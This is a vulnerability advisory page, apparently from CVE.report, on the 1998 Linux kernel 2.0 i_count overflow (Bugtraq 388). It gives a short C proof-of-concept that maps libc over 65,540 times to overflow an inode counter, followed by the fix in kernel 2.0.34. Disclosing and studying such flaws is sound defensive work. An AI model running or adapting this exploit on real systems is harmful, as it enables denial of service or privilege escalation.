Linux i_count Overflow Vulnerability

BID:388

Info

Linux i_count Overflow Vulnerability

Bugtraq ID: 388
Class: Design Error
CVE:
Remote: No
Local: Yes
Published: Jan 14 1998 12:00AM
Updated: Jan 14 1998 12:00AM
Credit: First posted to BugTraq by Aleph One <[email protected]> for Jan Kotas <[email protected]> on Jan 14, 1998. Followup by Alan Cox <[email protected]> posted to BugTraq on Jan 14, 1998.
Vulnerable: Linux kernel 2.0.33
Linux kernel 2.0
Not Vulnerable: Linux kernel 2.2
Linux kernel 2.0.34

Discussion

Linux i_count Overflow Vulnerability

The i_count member in the Linux inode structure is an unsigned short integer. It can be overflowed by mapping a single file too many times, allowing for a local user to possibly gain root access on the target machine or cause a denial of service.

Exploit / POC

Linux i_count Overflow Vulnerability

Below is a short example of how this vulnerability can be exploited:

#include <unistd.h> #include <fcntl.h>

#include <sys/mman.h>

void main()

{

int fd, i;

fd = open("/lib/libc.so.5", O_RDONLY);

for(i = 0; i < 65540; i++)

{

mmap((char*)0x50000000 + (0x1000 * i), 0x1000,

PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);

}

}

Solution / Fix

Linux i_count Overflow Vulnerability

Solution:
This problem was fixed in Linux kernel release 2.0.34.

An immediate way to solve the problem is to change the data type of i_count from an unsigned short integer to an unsigned long.

References

Linux i_count Overflow Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report